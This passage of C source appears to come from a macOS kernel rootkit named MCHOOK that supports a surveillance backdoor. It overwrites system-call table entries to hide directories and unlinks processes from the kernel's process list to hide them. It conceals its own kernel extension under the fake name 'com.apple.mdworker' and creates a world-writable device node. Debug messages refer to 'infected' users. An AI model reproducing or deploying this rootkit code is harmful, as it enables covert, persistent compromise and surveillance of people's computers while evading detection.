938 | if (al.volattr & ATTR_VOL_DIRCOUNT)
939 | printf("ATTR_VOL_DIRCOUNT\n");
940 | if (al.volattr & ATTR_VOL_MAXOBJCOUNT)
941 | printf("ATTR_VOL_MAXOBJCOUNT\n");
942 | if (al.volattr & ATTR_VOL_MOUNTPOINT)
943 | printf("ATTR_VOL_MOUNTPOINT\n");
944 | if (al.volattr & ATTR_VOL_NAME)
945 | printf("ATTR_VOL_NAME\n");
946 | if (al.volattr & ATTR_VOL_MOUNTFLAGS)
947 | printf("ATTR_VOL_MOUNTFLAGS\n");
948 | if (al.volattr & ATTR_VOL_MOUNTEDDEVICE)
949 | printf("ATTR_VOL_MOUNTEDDEVICE\n");
950 | if (al.volattr & ATTR_VOL_ENCODINGSUSED)
951 | printf("ATTR_VOL_ENCODINGSUSED\n");
952 | if (al.volattr & ATTR_VOL_CAPABILITIES)
953 | printf("ATTR_VOL_CAPABILITIES\n");
954 | if (al.volattr & ATTR_VOL_ATTRIBUTES)
955 | printf("ATTR_VOL_ATTRIBUTES\n");
956 | if (al.volattr & ATTR_VOL_INFO)
957 | printf("ATTR_VOL_INFO\n");
958 | if (al.volattr & ATTR_VOL_VALIDMASK)
959 | printf("ATTR_VOL_VALIDMASK\n");
960 | if (al.volattr & ATTR_VOL_SETMASK)
961 | printf("ATTR_VOL_SETMASK\n");
962 |
963 | // dirattr checks
964 | if (al.dirattr & ATTR_DIR_ENTRYCOUNT)
965 | printf("ATTR_DIR_ENTRYCOUNT\n");
966 | if (al.dirattr & ATTR_DIR_LINKCOUNT)
967 | printf("ATTR_DIR_LINKCOUNT\n");
968 | }
969 | #endif
970 |
971 | int check_for_process_exclusions(pid_t pid)
972 | {
973 | char procname[20];
974 | int i = 0;
975 |
976 | proc_name(pid, procname, sizeof(procname));
977 |
978 | for (i = 0; i < g_process_excluded; i ++) {
979 | if (strncmp(procname, g_exclusion_list[i].processname, MAX_USER_SIZE) == 0
980 | && g_exclusion_list[i].is_active == 1) {
981 | #ifdef DEBUG
982 | printf("[MCHOOK] Exclusion matched for %s\n", procname);
983 | #endif
984 | return 1;
985 | }
986 | }
987 |
988 | return -1;
989 | }
990 |
991 | void place_hooks()
992 | {
993 | if (fl_getdire64 == 0) {
994 | real_getdirentries64 = (getdirentries64_func_t *)_sysent[SYS_getdirentries64].sy_call;
995 | _sysent[SYS_getdirentries64].sy_call = (sy_call_t *)hook_getdirentries64;
996 | fl_getdire64 = 1;
997 | }
998 |
999 | if (fl_getdire == 0) {
1000 | real_getdirentries = (getdirentries_func_t *)_sysent[SYS_getdirentries].sy_call;
1001 | _sysent[SYS_getdirentries].sy_call = (sy_call_t *)hook_getdirentries;
1002 | fl_getdire = 1;
1003 | }
1004 |
1005 | if (fl_getdirentriesattr == 0) {
1006 | real_getdirentriesattr = (getdirentriesattr_func_t *)_sysent[SYS_getdirentriesattr].sy_call;
1007 | _sysent[SYS_getdirentriesattr].sy_call = (sy_call_t *)hook_getdirentriesattr;
1008 | fl_getdirentriesattr = 1;
1009 | }
1010 |
1011 | #ifdef DEBUG
1012 | printf("[MCHOOK] Hooks in place\n");
1013 | #endif
1014 | }
1015 |
1016 | void remove_hooks()
1017 | {
1018 | if (fl_getdire64) {
1019 | _sysent[SYS_getdirentries64].sy_call = (sy_call_t *)real_getdirentries64;
1020 | fl_getdire64 = 0;
1021 | }
1022 |
1023 | if (fl_getdire) {
1024 | _sysent[SYS_getdirentries].sy_call = (sy_call_t *)real_getdirentries;
1025 | fl_getdire = 0;
1026 | }
1027 |
1028 | if (fl_getdirentriesattr) {
1029 | _sysent[SYS_getdirentriesattr].sy_call = (sy_call_t *)real_getdirentriesattr;
1030 | fl_getdirentriesattr = 0;
1031 | }
1032 | }
1033 |
1034 | void add_dir_to_hide(char *dirname, pid_t pid)
1035 | {
1036 | int i = 0;
1037 | int z = 0;
1038 |
1039 | #ifdef DEBUG
1040 | printf("[MCHOOK] Hiding (%s) for pid (%d)\n", dirname, pid);
1041 | #endif
1042 |
1043 | for (i = 0; i < g_registered_backdoors; i++) {
1044 | if (g_reg_backdoors[i]->p->p_pid == pid
1045 | && g_reg_backdoors[i]->is_active == 1) {
1046 | for (z = 0; z < g_reg_backdoors[i]->path_counter; z ++) {
1047 | if (strncmp(dirname, g_reg_backdoors[i]->path[z], MAX_DIRNAME_SIZE) == 0) {
1048 | #ifdef DEBUG
1049 | printf("[MCHOOK] Path already registered (%s)!\n", dirname);
1050 | #endif
1051 |
1052 | return;
1053 | }
1054 | }
1055 |
1056 | int pcounter = g_reg_backdoors[i]->path_counter;
1057 | if (g_reg_backdoors[i]->path_counter < MAX_PATH_ENTRIES) {
1058 | strncpy((char *)g_reg_backdoors[i]->path[pcounter],
1059 | dirname,
1060 | MAX_DIRNAME_SIZE);
1061 |
1062 | #ifdef DEBUG
1063 | printf("[MCHOOK] DIR Hidden: %s\n", g_reg_backdoors[i]->path[pcounter]);
1064 | #endif
1065 | g_reg_backdoors[i]->path_counter++;
1066 | #ifdef DEBUG
1067 | printf("[MCHOOK] backdoorCounter: %d\n", g_registered_backdoors);
1068 | printf("[MCHOOK] backdoor pathCounter: %d\n",
1069 | g_reg_backdoors[i]->path_counter);
1070 | #endif
1071 | }
1072 | }
1073 | }
1074 | }
1075 |
1076 | Boolean
1077 | backdoor_init(char *username, proc_t p)
1078 | {
1079 | int _index = 0;
1080 | int i = 0;
1081 | int bd_index = -1;
1082 | Boolean result = FALSE;
1083 |
1084 | if (g_registered_backdoors > 0) {
1085 | // Let's see if the backdoor is already registered
1086 | bd_index = get_bd_index(username, p->p_pid);
1087 | }
1088 | else {
1089 | #ifdef DEBUG
1090 | printf("[MCHOOK] First backdoor, hooking\n");
1091 | #endif
1092 | }
1093 |
1094 | switch (bd_index) {
1095 | case -2:
1096 | #ifdef DEBUG
1097 | printf("[MCHOOK] Already registered (same pid and is active) on init\n");
1098 | #endif
1099 | break;
1100 | case -1: {
1101 | #ifdef DEBUG
1102 | printf("[MCHOOK] Backdoor not found on init\n");
1103 | #endif
1104 | MALLOC(g_reg_backdoors[g_registered_backdoors],
1105 | reg_backdoors_t *,
1106 | sizeof(reg_backdoors_t),
1107 | MK_MBUF,
1108 | M_WAITOK);
1109 |
1110 | _index = g_registered_backdoors;
1111 | g_registered_backdoors++;
1112 | result = TRUE;
1113 | } break;
1114 | default: {
1115 | #ifdef DEBUG
1116 | printf("[MCHOOK] Already registered user (dead bd) %d\n", bd_index);
1117 | #endif
1118 |
1119 | int numPath = g_reg_backdoors[bd_index]->path_counter;
1120 | g_reg_backdoors[bd_index]->path_counter = 0;
1121 |
1122 | // Backdoor is already registered
1123 | for (i = 0; i < numPath; i++) {
1124 | memset(g_reg_backdoors[bd_index]->path[i], '\0', MAX_DIRNAME_SIZE);
1125 | }
1126 |
1127 | _index = bd_index;
1128 | result = TRUE;
1129 | } break;
1130 | }
1131 |
1132 | // Initialize the structure entry
1133 | //g_reg_backdoors[_index]->path_counter = 0;
1134 |
1135 | g_reg_backdoors[_index]->p = p;
1136 | /*g_reg_backdoors[_index]->pid = p->p_pid;*/
1137 | g_reg_backdoors[_index]->is_active = 1;
1138 | g_reg_backdoors[_index]->is_hidden = 0;
1139 | g_reg_backdoors[_index]->is_task_hidden = 0;
1140 | g_reg_backdoors[_index]->is_proc_hidden = 0;
1141 |
1142 | strncpy(g_reg_backdoors[_index]->username, username, MAX_USER_SIZE);
1143 |
1144 | #ifdef DEBUG
1145 | printf("[MCHOOK] index (%d)\n", _index);
1146 | printf("[MCHOOK] user (%s)\n", g_reg_backdoors[_index]->username);
1147 | #endif
1148 |
1149 | return result;
1150 | }
1151 |
1152 | int remove_dev_entry()
1153 | {
1154 | // Remove our device entry from /dev
1155 | devfs_remove(devfs_handle);
1156 | cdevsw_remove(major, &chardev);
1157 |
1158 | return 0;
1159 | }
1160 |
1161 | void dealloc_meh(char *username, pid_t pid)
1162 | {
1163 | int bd_index = -1;
1164 |
1165 | bd_index = get_active_bd_index(username, pid);
1166 | if (bd_index != -1) {
1167 | FREE(g_reg_backdoors[bd_index], MK_MBUF);
1168 | /*g_reg_backdoors[z]->is_active = 0;*/
1169 | /*g_reg_backdoors[z]->is_hidden = 0;*/
1170 | /*g_reg_backdoors[z]->is_task_hidden = 0;*/
1171 | /*g_reg_backdoors[z]->is_proc_hidden = 0;*/
1172 |
1173 | if (g_registered_backdoors > 0)
1174 | g_registered_backdoors--;
1175 | }
1176 | }
1177 |
1178 | //
1179 | // Get the backdoor index among the active ones
1180 | //
1181 | int
1182 | get_active_bd_index(char *username, pid_t pid)
1183 | {
1184 | int i = 0;
1185 |
1186 | for (i = 0; i < g_registered_backdoors; i++) {
1187 | if ((strncmp(username, g_reg_backdoors[i]->username, MAX_USER_SIZE) == 0)
1188 | && g_reg_backdoors[i]->p->p_pid == pid
1189 | && g_reg_backdoors[i]->is_active == 1) {
1190 | return i;
1191 | }
1192 | }
1193 |
1194 | return -1;
1195 | }
1196 |
1197 | //
1198 | // Get the backdoor index even if not active (but present in the array)
1199 | //
1200 | int
1201 | get_bd_index(char *username, pid_t pid)
1202 | {
1203 | int i = 0;
1204 | int index = -1;
1205 |
1206 | for (; i < g_registered_backdoors; i++) {
1207 | if (strncmp(g_reg_backdoors[i]->username, username, MAX_USER_SIZE) == 0) {
1208 | #ifdef DEBUG
1209 | printf("[MCHOOK] User already infected, checking if active\n");
1210 | #endif
1211 | if (g_reg_backdoors[i]->p->p_pid == pid
1212 | && g_reg_backdoors[i]->is_active == 1) {
1213 | #ifdef DEBUG
1214 | printf("[MCHOOK] Backdoor already registered and active\n");
1215 | #endif
1216 | index = -2;
1217 | break;
1218 | }
1219 | else {
1220 | #ifdef DEBUG
1221 | printf("[MCHOOK] Backdoor already registered but not active\n");
1222 | #endif
1223 | index = i;
1224 | break;
1225 | }
1226 | }
1227 | }
1228 |
1229 | return index;
1230 | }
1231 |
1232 | int check_symbols_integrity()
1233 | {
1234 | g_symbols_resolved = 0;
1235 |
1236 | if (i_allproc != NULL
1237 | && i_tasks != NULL
1238 | && i_nsysent != NULL
1239 | && i_kmod != NULL
1240 | && i_tasks_count != NULL
1241 | && i_nprocs != NULL
1242 | && i_tasks_threads_lock != NULL
1243 | && i_proc_lock != NULL
1244 | && i_proc_unlock != NULL
1245 | && i_proc_list_lock != NULL
1246 | && i_proc_list_unlock != NULL) {
1247 | g_symbols_resolved = 1;
1248 | }
1249 |
1250 | return g_symbols_resolved;
1251 | }
1252 |
1253 | int is_leopard()
1254 | {
1255 | if (g_os_major == 10
1256 | && g_os_minor == 5)
1257 | return 1;
1258 |
1259 | return 0;
1260 | }
1261 |
1262 | int is_snow_leopard()
1263 | {
1264 | if (g_os_major == 10
1265 | && g_os_minor == 6)
1266 | return 1;
1267 |
1268 | return 0;
1269 | }
1270 |
1271 | int is_lion()
1272 | {
1273 | if (g_os_major == 10
1274 | && g_os_minor == 7)
1275 | return 1;
1276 |
1277 | return 0;
1278 | }
1279 |
1280 | #pragma mark -
1281 | #pragma mark DKOM
1282 | #pragma mark -
1283 |
1284 | int hide_proc_l(proc_t p, char *username, int bd_index)
1285 | {
1286 | proc_t proc = NULL;
1287 |
1288 | #ifdef DEBUG
1289 | printf("[MCHOOK] Hiding Lion proc: %d\n", p->p_pid);
1290 | #endif
1291 |
1292 | i_proc_list_lock();
1293 |
1294 | //
1295 | // Unlinking proc
1296 | //
1297 | LIST_FOREACH(proc, i_allproc, p_list) {
1298 | if (proc->p_pid == p->p_pid) {
1299 | #ifdef DEBUG
1300 | printf("[MCHOOK] pid %d found\n", p->p_pid);
1301 | #endif
1302 |
1303 | i_proc_lock(proc);
1304 |
1305 | LIST_REMOVE(proc, p_list);
1306 | LIST_REMOVE(proc, p_hash);
1307 |
1308 | i_proc_unlock(proc);
1309 | //(*i_nprocs)--;
1310 |
1311 | #ifdef DEBUG
1312 | printf("[MCHOOK] Procs count: %d\n", *i_nprocs);
1313 | #endif
1314 |
1315 | g_reg_backdoors[bd_index]->is_proc_hidden = 1;
1316 | break;
1317 | }
1318 | }
1319 |
1320 | i_proc_list_unlock();
1321 |
1322 | if (g_reg_backdoors[bd_index]->is_task_hidden == 1
1323 | || g_reg_backdoors[bd_index]->is_proc_hidden == 1) {
1324 | #ifdef DEBUG
1325 | printf("[MCHOOK] Task hidden: %d\n", g_reg_backdoors[bd_index]->is_task_hidden);
1326 | printf("[MCHOOK] Proc hidden: %d\n", g_reg_backdoors[bd_index]->is_proc_hidden);
1327 | #endif
1328 | g_reg_backdoors[bd_index]->is_hidden = 1;
1329 | }
1330 |
1331 | return 0;
1332 | }
1333 |
1334 | int hide_proc(proc_t p, char *username, int backdoor_index)
1335 | {
1336 | proc_t proc = NULL;
1337 | //int _index = 0;
1338 |
1339 | #ifdef DEBUG
1340 | printf("[MCHOOK] Hiding proc: %d\n", p->p_pid);
1341 | #endif
1342 | #if 0
1343 | //
1344 | // g_backdoor_current is not safe for 2 or more backdoors on the same machine
1345 | // in which case we'll be calling get_active_bd_index
1346 | //
1347 | if (g_backdoor_current != -1) {
1348 | if (g_reg_backdoors[g_backdoor_current]->isHidden == 1) {
1349 | #ifdef DEBUG
1350 | printf("[MCHOOK] %d is already hidden\n", p->p_pid);
1351 | #endif
1352 |
1353 | return 0;
1354 | }
1355 | }
1356 | else {
1357 | if ((_index = get_active_bd_index(p, username)) != -1) {
1358 | g_backdoor_current = _index;
1359 | }
1360 | else {
1361 | #ifdef DEBUG
1362 | printf("[MCHOOK] hide_proc failed - backdoor not registered?!!\n");
1363 | #endif
1364 |
1365 | return -1;
1366 | }
1367 | }
1368 | #endif
1369 | #ifdef DEBUG
1370 | printf("[MCHOOK] Be-hiding tasks count: %d\n", *i_tasks_count);
1371 | #endif
1372 | /*
1373 | if (g_os_major == 10 && g_os_minor == 5) {
1374 | task_l_t task = p->task;
1375 |
1376 | //
1377 | // Unlinking task
1378 | //
1379 | lck_mtx_lock(i_tasks_threads_lock);
1380 | queue_remove(i_tasks, task, task_l_t, tasks);
1381 | (*i_tasks_count)--;
1382 | lck_mtx_unlock(i_tasks_threads_lock);
1383 |
1384 | g_reg_backdoors[backdoor_index]->isTaskHidden = 1;
1385 | }
1386 | else if (g_os_major == 10 && g_os_minor == 6) {
1387 | task_t task = p->task;
1388 |
1389 | //
1390 | // Unlinking task
1391 | //
1392 | lck_mtx_lock(i_tasks_threads_lock);
1393 | queue_remove(i_tasks, task, task_t, tasks);
1394 | (*i_tasks_count)--;
1395 | lck_mtx_unlock(i_tasks_threads_lock);
1396 |
1397 | g_reg_backdoors[backdoor_index]->isTaskHidden = 1;
1398 | }
1399 | */
1400 | #ifdef DEBUG
1401 | printf("[MCHOOK] Af-hiding tasks count: %d\n", *i_tasks_count);
1402 | #endif
1403 |
1404 | i_proc_list_lock();
1405 |
1406 | //
1407 | // Unlinking proc
1408 | //
1409 | LIST_FOREACH(proc, i_allproc, p_list) {
1410 | if (proc->p_pid == p->p_pid) {
1411 | #ifdef DEBUG
1412 | printf("[MCHOOK] pid %d found\n", p->p_pid);
1413 | #endif
1414 |
1415 | i_proc_lock(proc);
1416 |
1417 | LIST_REMOVE(proc, p_list);
1418 | LIST_REMOVE(proc, p_hash);
1419 |
1420 | i_proc_unlock(proc);
1421 | //(*i_nprocs)--;
1422 |
1423 | #ifdef DEBUG
1424 | printf("[MCHOOK] Procs count: %d\n", *i_nprocs);
1425 | #endif
1426 |
1427 | g_reg_backdoors[backdoor_index]->is_proc_hidden = 1;
1428 | break;
1429 | }
1430 |
1431 | //i_proc_unlock(proc);
1432 | }
1433 |
1434 | i_proc_list_unlock();
1435 |
1436 | if (g_reg_backdoors[backdoor_index]->is_task_hidden == 1
1437 | || g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) {
1438 | #ifdef DEBUG
1439 | printf("[MCHOOK] Task hidden: %d\n", g_reg_backdoors[backdoor_index]->is_task_hidden);
1440 | printf("[MCHOOK] Proc hidden: %d\n", g_reg_backdoors[backdoor_index]->is_proc_hidden);
1441 | #endif
1442 | g_reg_backdoors[backdoor_index]->is_hidden = 1;
1443 | }
1444 |
1445 | return 0;
1446 | }
1447 |
1448 | int unhide_proc(proc_t p, int backdoor_index)
1449 | {
1450 | #ifdef DEBUG
1451 | printf("[MCHOOK] Unhiding %d\n", p->p_pid);
1452 | #endif
1453 | /*
1454 | if (g_reg_backdoors[backdoor_index]->isTaskHidden == 1) {
1455 | if (g_os_major == 10 && g_os_minor == 5) {
1456 | task_l_t task = p->task;
1457 |
1458 | //
1459 | // Link back our task entry
1460 | //
1461 | lck_mtx_lock(i_tasks_threads_lock);
1462 | queue_enter(i_tasks, task, task_l_t, tasks);
1463 | (*i_tasks_count)++;
1464 | lck_mtx_unlock(i_tasks_threads_lock);
1465 |
1466 | g_reg_backdoors[backdoor_index]->isTaskHidden = 0;
1467 | }
1468 | else if (g_os_major == 10 && g_os_minor == 6) {
1469 | task_t task = p->task;
1470 |
1471 | //
1472 | // Link back our task entry
1473 | //
1474 | lck_mtx_lock(i_tasks_threads_lock);
1475 | queue_enter(i_tasks, task, task_t, tasks);
1476 | (*i_tasks_count)++;
1477 | lck_mtx_unlock(i_tasks_threads_lock);
1478 |
1479 | g_reg_backdoors[backdoor_index]->isTaskHidden = 0;
1480 | }
1481 | }
1482 | else {
1483 | #ifdef DEBUG
1484 | printf("[MCHOOK] Skipping task unhide, not hidden\n");
1485 | #endif
1486 | }
1487 | */
1488 | //
1489 | // Link back our proc entry
1490 | //
1491 | if (g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) {
1492 | i_proc_list_lock();
1493 | LIST_INSERT_HEAD(i_allproc, p, p_list);
1494 | //(*i_nprocs)++;
1495 | i_proc_list_unlock();
1496 |
1497 | g_reg_backdoors[backdoor_index]->is_proc_hidden = 0;
1498 | }
1499 | else {
1500 | #ifdef DEBUG
1501 | printf("[MCHOOK] Skipping proc unhide, not hidden\n");
1502 | #endif
1503 | }
1504 |
1505 | g_reg_backdoors[backdoor_index]->is_hidden = 0;
1506 |
1507 | #ifdef DEBUG
1508 | printf("[MCHOOK] Procs count: %d\n", *i_nprocs);
1509 | #endif
1510 |
1511 | return 0;
1512 | }
1513 |
1514 | int unhide_all_procs()
1515 | {
1516 | #ifdef DEBUG
1517 | printf("[MCHOOK] Unhiding all procs\n");
1518 | #endif
1519 |
1520 | int i = 0;
1521 |
1522 | for (i = 0; i < g_registered_backdoors; i++) {
1523 | if (g_reg_backdoors[i]->is_active == 1
1524 | && g_reg_backdoors[i]->is_hidden == 1) {
1525 | unhide_proc(g_reg_backdoors[i]->p, i);
1526 | }
1527 | }
1528 |
1529 | return 0;
1530 | }
1531 |
1532 |
1533 | // TODO:
1534 | // - replace ugly casts with a nice-looking struct
1535 | // - could be wise to acquire sKextLock
1536 | void hide_kext_osarray()
1537 | {
1538 | unsigned char *code = (unsigned char *)kext_lookup_with_tag;
1539 |
1540 | if (g_kext_hidden != 0) {
1541 | #ifdef DEBUG
1542 | printf("[MCHOOK] Kext already hidden\n");
1543 | return;
1544 | #endif
1545 | }
1546 | #ifdef DEBUG
1547 | printf("[MCHOOK] Scanning for sLoadedKexts from %p\n", code);
1548 | #endif
1549 |
1550 | for (int i=0; i<0x50; i++) {
1551 | if (code[i] == 0xe8) { // \xe8 == CALL NEAR
1552 | // displacement, as well as sizeof(int), is 32bit on both x86 and x64
1553 | unsigned int *displacement = (unsigned int *)&code[i+1];
1554 |
1555 | // sanity check, must point to a function prolog, \x55 is push [R|E]BP,
1556 | // CALL NEAR is 5 bytes on both x86 and x64
1557 | if (code[i+*displacement+5] == 0x55 ) {
1558 | unsigned char *instruction = &code[i+5]; // skip to next instruction
1559 |
1560 | #ifdef __LP64__
1561 | // 0x48 is 64bit prefix
1562 | // 0xx8b is RIP relative MOV opcode
1563 | // 5 is size of call instruction
1564 | // 7 size of MOV
1565 | // 3 is offset of to displacement from MOV opcode
1566 |
1567 | if (*(unsigned short *)instruction == 0x8b48) {
1568 | unsigned int _sLoadedKextDisplacement = *(unsigned int *)(instruction+3);
1569 | _sLoadedKext = (char *)*(unsigned long *)((code + i + 5 + 7) + _sLoadedKextDisplacement);
1570 | break;
1571 | }
1572 | #else
1573 | // on x86 we cannot rely on the single opcode 'cuz it's register-specific,
1574 | // we could check for all the possible opcodes or just don't care
1575 | _sLoadedKext = (unsigned char *)**(unsigned long **)(instruction+1);
1576 | #ifdef DEBUG
1577 | printf("[MCHOOK] _sLoadedKext @ %08x\n", (unsigned int)_sLoadedKext);
1578 | #endif
1579 | break;
1580 | #endif
1581 | }
1582 | }
1583 | }
1584 | if (_sLoadedKext == NULL) {
1585 | #ifdef DEBUG
1586 | printf("[MCHOOK] Cannot find _sLoadedKext!!!!!!\n");
1587 | #endif
1588 | return;
1589 | }
1590 |
1591 | unsigned int *kextsCount = (unsigned int *)&_sLoadedKext[OFFT_KEXT_COUNT];
1592 | #ifdef DEBUG
1593 | printf(" [MCHOOK] Found _sLoadedKext %lx, with %d loaded count\n", (unsigned long)_sLoadedKext, *kextsCount);
1594 | #endif
1595 | unsigned long *arrayPtr = (unsigned long *)*(unsigned long *)&_sLoadedKext[OFFT_KEXT_ARRAY];
1596 | unsigned long *lastKext = (unsigned long *)arrayPtr[*kextsCount - 1];
1597 |
1598 | unsigned char *kmod_info = (unsigned char *)(lastKext[OFFT_KEXT_KMOD]);
1599 | if (!strcmp((char *)&kmod_info[OFFT_KMOD_NAME], "com.apple.mdworker"))
1600 | {
1601 | // if we're still the last loaded kext,
1602 | // then yeah, it's *that* easy
1603 | #ifdef DEBUG
1604 | printf("[MCHOOK] mdworker is the last kext, decrementing OSArray counter\n");
1605 | #endif
1606 | _sLoadedKext[OFFT_KEXT_COUNT]--;
1607 | g_kext_hidden = 1;
1608 | }
1609 | else
1610 | {
1611 | // we're no moar the last loaded kext, we must
1612 | // exchange a pointer then
1613 | #ifdef DEBUG
1614 | printf("[MCHOOK] Not last kext, exchaning pointers with: %s\n", (char *)&kmod_info[OFFT_KMOD_NAME]);
1615 | #endif
1616 | for (unsigned int i = 0; i<*kextsCount; i++)
1617 | {
1618 | lastKext = (unsigned long *)arrayPtr[i];
1619 | kmod_info = (unsigned char *)(lastKext[OFFT_KEXT_KMOD]);
1620 |
1621 | if (!strcmp((char *)&kmod_info[OFFT_KMOD_NAME], "com.apple.mdworker"))
1622 | {
1623 | arrayPtr[i] = arrayPtr[*kextsCount -1];
1624 | _sLoadedKext[OFFT_KEXT_COUNT]--;
1625 |
1626 | g_kext_hidden = 1;
1627 | break;
1628 | }
1629 | }
1630 | }
1631 |
1632 | return;
1633 | }
1634 |
1635 |
1636 | // this is not used anymoar
1637 | void hide_kext_leopard()
1638 | {
1639 | kmod_info_t *k, *prev_k;
1640 | //char kext_name[] = "com.revenge.kext.machooker";
1641 | char kext_name[] = "com.apple.mdworker";
1642 |
1643 | prev_k = i_kmod;
1644 |
1645 | if (g_kext_hidden == 0) {
1646 | for (k = i_kmod; k->next != NULL; k = k->next) {
1647 | if (strncmp(k->name, kext_name, sizeof(kext_name)) == 0) {
1648 | prev_k->next = prev_k->next->next;
1649 | g_kext_hidden = 1;
1650 | break;
1651 | }
1652 |
1653 | prev_k = k;
1654 | }
1655 | }
1656 | else {
1657 | #ifdef DEBUG
1658 | printf("[MCHOOK] KEXT is already hidden\n");
1659 | #endif
1660 | }
1661 | }
1662 |
1663 | //
1664 | // Landon Fuller trick updated for SL support
1665 | //
1666 | static struct sysent
1667 | *find_sysent(os_version_t *os_ver)
1668 | {
1669 | unsigned int table_size;
1670 | struct sysent *table = NULL;
1671 |
1672 | table_size = sizeof(struct sysent) * (*i_nsysent);
1673 | if (is_leopard() == 1) {
1674 | #ifdef DEBUG
1675 | printf("[MCHOOK] find_sysent for leopard\n");
1676 | printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent);
1677 | #endif
1678 | table = (struct sysent *)(((char *)i_nsysent) + sizeof(int));
1679 | #if __i386__
1680 | // +28 bytes, so far still reliable
1681 | table = (struct sysent *)(((uint8_t *)table) + 28);
1682 | #endif
1683 | }
1684 | else if (is_snow_leopard() == 1) {
1685 | #ifdef DEBUG
1686 | printf("[MCHOOK] find_sysent for snow leopard\n");
1687 | printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent);
1688 | #endif
1689 | uint32_t x;
1690 | uint32_t size_of_block_to_search;
1691 |
1692 | x = 0;
1693 | size_of_block_to_search = 0x100;
1694 |
1695 | table = (struct sysent *)((char *)i_nsysent);
1696 | #if __i386__
1697 | //
1698 | // -0x2850 bytes from nsysent
1699 | // http://packetstormsecurity.org/papers/attack/osx1061sysent.txt
1700 | //
1701 | table = (struct sysent *)((char *)table - 0x2850);
1702 |
1703 | //
1704 | // -0x60 bytes 10.6.4
1705 | //
1706 | table = (struct sysent *)((char *)table - size_of_block_to_search);
1707 | #ifdef DEBUG
1708 | printf("[MCHOOK] Entering heuristic\n");
1709 | #endif
1710 |
1711 | char *ptr_to_table = (char *)table;
1712 |
1713 | for (x = 0; x <= size_of_block_to_search; x++) {
1714 | table = (struct sysent *)ptr_to_table++;
1715 |
1716 | // Sanity check
1717 | if (table[SYS_syscall].sy_narg == 0 &&
1718 | table[SYS_exit].sy_narg == 1 &&
1719 | table[SYS_fork].sy_narg == 0 &&
1720 | table[SYS_read].sy_narg == 3 &&
1721 | table[SYS_wait4].sy_narg == 4 &&
1722 | table[SYS_ptrace].sy_narg == 4) {
1723 | #ifdef DEBUG
1724 | printf("[MCHOOK] heuristic matched sysent @%p, x = 0x%x\n", table, x);
1725 | #endif
1726 |
1727 | return table;
1728 | }
1729 | }
1730 | #endif
1731 | }
1732 | else if (is_lion() == 1) {
1733 | #ifdef DEBUG
1734 | printf("[MCHOOK] find_sysent for lion\n");
1735 | printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent);
1736 | #endif
1737 | uint32_t x;
1738 | uint32_t size_of_block_to_search;
1739 |
1740 | x = 0;
1741 | size_of_block_to_search = 0x100;
1742 |
1743 | table = (struct sysent *)((char *)i_nsysent);
1744 | #if __x86_64__
1745 | //
1746 | // -0x4498 bytes from nsysent
1747 | // rev
1748 | //
1749 | table = (struct sysent *)((char *)table - 0x4498);
1750 | #ifdef DEBUG
1751 | printf("[MCHOOK] table @ 0x%llx\n", (unsigned long long)table);
1752 | printf("[MCHOOK] nsysent @ 0x%p\n", i_nsysent);
1753 | #endif
1754 | #else
1755 | #ifdef DEBUG
1756 | printf("[MCHOOK] not ready for 32bit lion kernel\n");
1757 | #endif
1758 |
1759 | return NULL;
1760 | #endif
1761 |
1762 | #ifdef DEBUG
1763 | printf("[MCHOOK] Entering heuristic\n");
1764 | #endif
1765 |
1766 | char *ptr_to_table = (char *)table;
1767 | for (x = 0; x <= size_of_block_to_search; x++) {
1768 | table = (struct sysent *)ptr_to_table++;
1769 |
1770 | // Sanity check
1771 | if (table[SYS_syscall].sy_narg == 0 &&
1772 | table[SYS_exit].sy_narg == 1 &&
1773 | table[SYS_fork].sy_narg == 0 &&
1774 | table[SYS_read].sy_narg == 3 &&
1775 | table[SYS_wait4].sy_narg == 4 &&
1776 | table[SYS_ptrace].sy_narg == 4) {
1777 | #ifdef DEBUG
1778 | printf("[MCHOOK] heuristic matched sysent @%p, x = 0x%x\n", table, x);
1779 | #endif
1780 | return table;
1781 | }
1782 | }
1783 | }
1784 |
1785 | if (table == NULL)
1786 | return NULL;
1787 |
1788 | #ifdef DEBUG
1789 | printf("[MCHOOK] sysent@%p\n", table);
1790 | #endif
1791 |
1792 | // Sanity check
1793 | if (table[SYS_syscall].sy_narg == 0 &&
1794 | table[SYS_exit].sy_narg == 1 &&
1795 | table[SYS_fork].sy_narg == 0 &&
1796 | table[SYS_read].sy_narg == 3 &&
1797 | table[SYS_wait4].sy_narg == 4 &&
1798 | table[SYS_ptrace].sy_narg == 4) {
1799 | #ifdef DEBUG
1800 | printf("[MCHOOK] sysent sanity check succeeded\n");
1801 | #endif
1802 | return table;
1803 | }
1804 | else {
1805 | #ifdef DEBUG
1806 | printf("[MCHOOK] sanity check failed\n");
1807 | #endif
1808 |
1809 | return NULL;
1810 | }
1811 | }
1812 |
1813 | #pragma mark -
1814 | #pragma mark Start/Stop
1815 | #pragma mark -
1816 |
1817 | kern_return_t
1818 | mchook_start (kmod_info_t *ki, void *d)
1819 | {
1820 | #ifdef DEBUG
1821 | printf("[MCHOOK] Registering our device\n");
1822 | printf("[MCHOOK] Size of NSUInteger: %ld\n", sizeof(NSUInteger));
1823 | #endif
1824 |
1825 | // Register our device in /dev
1826 | major = cdevsw_add(major, &chardev);
1827 | if (major == -1) {
1828 | #ifdef DEBUG
1829 | printf("[MCHOOK] Error while registering the device node\n");
1830 | #endif
1831 | return KERN_FAILURE;
1832 | }
1833 |
1834 | devfs_handle = devfs_make_node(makedev(major, 0),
1835 | DEVFS_CHAR,
1836 | UID_ROOT,
1837 | GID_WHEEL,
1838 | 0666,
1839 | "pfCPU");
1840 |
1841 | if (!devfs_handle) {
1842 | #ifdef DEBUG
1843 | printf("[MCHOOK] Error while creating the device node\n");
1844 | #endif
1845 | return KERN_FAILURE;
1846 | }
1847 |
1848 | return KERN_SUCCESS;
1849 | }
1850 |
1851 | kern_return_t
1852 | mchook_stop (kmod_info_t *ki, void *d)
1853 | {
1854 | #ifdef DEBUG
1855 | printf("[MCHOOK] KEXT stop called\n");
1856 | #endif
1857 |
1858 | if (g_registered_backdoors == 0) {
1859 | if (remove_dev_entry() == 0) {
1860 | #ifdef DEBUG
1861 | printf("[MCHOOK] KEXT unloaded correctly\n");
1862 | #endif
1863 | }
1864 | else {
1865 | #ifdef DEBUG
